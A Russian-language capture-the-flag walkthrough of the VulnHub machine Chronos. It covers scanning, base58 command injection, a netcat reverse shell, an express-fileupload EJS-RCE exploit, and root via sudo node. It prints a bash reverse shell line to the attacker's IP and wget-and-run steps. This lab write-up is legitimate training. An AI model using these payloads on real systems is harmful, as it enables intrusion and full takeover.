Прохождение машины Chronos: 1 [VulnHub].
Здравствуйте, дорогие друзья.
Chronos — это средняя по сложности машина от Vulnhub от AL1ENUM. Эту машину можно тестировать в VirtualBox. Эта лабораторная работа подходит для новичков, поскольку в ней есть серьезные ошибки, такие как удаленное выполнение команд для обратного подключения и подход к повышению привилегий. Итак, давайте начнем со сканирования айпи-адресов, при помощи утилиты «Netdiscover». Команда: sudo netdiscover
Актуальный айпи-адрес: 10.0.2.5
Nmap
Кроме того, я запустил агрессивное сканирование (-A) для перечисления открытых портов, где обнаружил следующие сведения о порте:
sudo nmap -A 10.0.2.5
По выходу Nmap получаем:
- на порту 22 работает SSH-сервер
- на порту 80 запущена служба HTTP (сервер Apache)
- на порту 8000 запущена служба HTTP (инфраструктура Node.js Express)
Следующий этап – Перечисление:
Злоупотребление HTTP
Давайте проверим порт 80, чтобы увидеть, есть ли что-нибудь интересное. Мы можем проверить это сразу в браузере, потому что сервер Apache работает на порту 80:
Сайт не предоставляет никакой ценной информации, поэтому идем на страницу с исходниками, которая показывает имена хостов и URL. Поскольку имя хоста не было включено в наш файл конфигурации /etc/hosts, мы не можем его маршрутизировать.
Видим такую ссылку в исходниках:
Исправляем это, при помощи команды: «sudo nano /etc/hosts»:
При просмотре http://chronos.local:8000 сайт отвечает, показывая время, день и дату.
На этот раз был посещен URL-адрес вышеупомянутой исходной страницы; однако сервер ответил сообщением «отказано в доступе». Поэтому я решил перехватывать HTTP-запросы для этой страницы с помощью инструмента Burp Suite:
Декодирование Base64 и Base58
Я перехватил HTTP-запрос для метода GET, который включает параметр формата с аргументом в кодировке base64:
Идем в декодер, и кодируем параметр в base64:
Скопируем значение аргумента и вставим его в CyberChef, чтобы закодировать в base64
Теперь пришло время поэкспериментировать с Repeater; давайте скопируем вывод (base64) и запросим его через репитер. Для предоставленного параметра base64 мы получили сообщение об ошибке для символа, отличного от base58, указывающее, что сервер выполняет кодирование и декодирование с использованием функции base58:
Эксплуатация
Необходимо внедрить однострочный пэйлоад Netcat
Пришло время использовать удаленное выполнение команд, внедрив обратную оболочку netcat. Вы можете перейти по указанной ссылке, чтобы получить однострочную обратную оболочку netcat и изменить пэйлоад в соответствии с адресом прослушивателя и портом.
URL: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet Используйте следующую команду, чтобы обязательно изменить IP:
Запустите прослушиватель Netcat на порту 1234 для получения обратного соединения. Команда: «sudo nc –lvp 1234
»:
Изменяем значение формата, внедрив зашифрованную полезную нагрузку и отправив запрос на сервер в Proxy BurpSuite:
Как только доставляется полезная нагрузка, я получаю обратное соединение в слушателе Netcat:
Раскрытие конфиденциальных данных (экспресс-загрузка файлов) Копаю в каталоге opt, и нахожу две папки: «chronos» и «chronos-v2». Далее, переходим в каталог chronos-v2, есть еще две новые папки в chronos-v2: «frontend» и «backend»:
Внутри каталога бэкенда я получил четыре скрипта: «node modules», «package.json», «package-lock.json», «server.js».
Я вижу службу под названием «express-fileupload версии 1.1.7» в файле package.json:
Повышение привилегий
Из package.json видно, что на сервере работает экспресс-загрузка файлов версии 1.1.7-alpha.3 для Node.js, поэтому давайте поищем возможные эксплойты в Google.
К счастью, я нашел скрипт на Python для выполнения атаки EJS-RCE, для использования экспресс-загрузки файлов:
Использование экспресс-загрузки файлов
Перехожу на веб-сайт, загружаю эксплойт и вношу изменения в файл IP-адреса хоста (Kali Machine), а затем называю файл poc.py.
'bash -c "bash -i &> /dev/TCP/10.0.2.15/8888 0>&1" '
Необходимо перенести этот эксплойт, поэтому запускаю сервер Python с помощью следующей команды:
Запустим прослушиватель Netcat на новом порту 8888:
Теперь загрузим созданный эксплойт с помощью «wget» в папку tmp:
После загрузки запускаю эксплойт с помощью следующей команды: «python3 poc.py
»
Захват рут-флага
Я получаю оболочку с ограниченными привилегиями на прослушивателе, как только запускаю эксплойт.
Теперь для повышения привилегий давайте выясним права sudo для пользователя «imera». Я обнаружил, что пользователь imera имеет ВСЕ привилегии для запуска двух программных узлов и npm.
Я сделал быстрый поиск и узнал, что мы можем использовать метод «child_process.spawn» для запуска скрипта bash. Этот скрипт bash даст нам корневую оболочку, если он будет выполнен правильно. От GTFOBin: https://gtfobins.github.io/gtfobins/node/
На этом все. Всем хорошего дня!